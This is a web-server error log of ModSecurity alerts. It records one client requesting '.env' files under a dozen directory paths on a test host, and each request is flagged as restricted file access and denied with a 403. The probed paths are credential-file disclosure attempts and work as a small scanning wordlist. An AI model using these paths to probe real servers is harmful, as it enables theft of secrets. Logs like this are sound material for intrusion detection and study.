[Wed Feb 25 06:05:31.930694 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4QAAAAQ&quot;]
[Wed Feb 25 06:05:31.931008 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4QAAAAQ&quot;]
[Wed Feb 25 06:05:31.931178 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX4QAAAAQ&quot;]
[Wed Feb 25 06:05:31.964849 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOgAAAAA&quot;]
[Wed Feb 25 06:05:31.965123 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOgAAAAA&quot;]
[Wed Feb 25 06:05:31.965294 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibOgAAAAA&quot;]
[Wed Feb 25 06:05:32.023181 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shopware/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxAAAAAc&quot;]
[Wed Feb 25 06:05:32.023450 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxAAAAAc&quot;]
[Wed Feb 25 06:05:32.023611 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxAAAAAc&quot;]
[Wed Feb 25 06:05:32.059049 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /simple_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxQAAAAc&quot;]
[Wed Feb 25 06:05:32.059335 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxQAAAAc&quot;]
[Wed Feb 25 06:05:32.059513 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxQAAAAc&quot;]
[Wed Feb 25 06:05:32.095009 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site-library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxgAAAAc&quot;]
[Wed Feb 25 06:05:32.095299 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxgAAAAc&quot;]
[Wed Feb 25 06:05:32.095496 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxgAAAAc&quot;]
[Wed Feb 25 06:05:32.117168 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxwAAAAc&quot;]
[Wed Feb 25 06:05:32.117447 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxwAAAAc&quot;]
[Wed Feb 25 06:05:32.117614 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYxwAAAAc&quot;]
[Wed Feb 25 06:05:32.153359 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibOwAAAAA&quot;]
[Wed Feb 25 06:05:32.153638 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibOwAAAAA&quot;]
[Wed Feb 25 06:05:32.153818 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibOwAAAAA&quot;]
[Wed Feb 25 06:05:32.162576 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sites/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyAAAAAc&quot;]
[Wed Feb 25 06:05:32.162857 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyAAAAAc&quot;]
[Wed Feb 25 06:05:32.163033 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyAAAAAc&quot;]
[Wed Feb 25 06:05:32.175093 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPAAAAAA&quot;]
[Wed Feb 25 06:05:32.175330 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPAAAAAA&quot;]
[Wed Feb 25 06:05:32.175492 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPAAAAAA&quot;]
[Wed Feb 25 06:05:32.273440 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitestatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyQAAAAc&quot;]
[Wed Feb 25 06:05:32.273734 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyQAAAAc&quot;]
[Wed Feb 25 06:05:32.273910 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYyQAAAAc&quot;]
[Wed Feb 25 06:05:32.293447 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /robots/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPgAAAAA&quot;]
[Wed Feb 25 06:05:32.293702 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPgAAAAA&quot;]
[Wed Feb 25 06:05:32.293865 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibPgAAAAA&quot;]
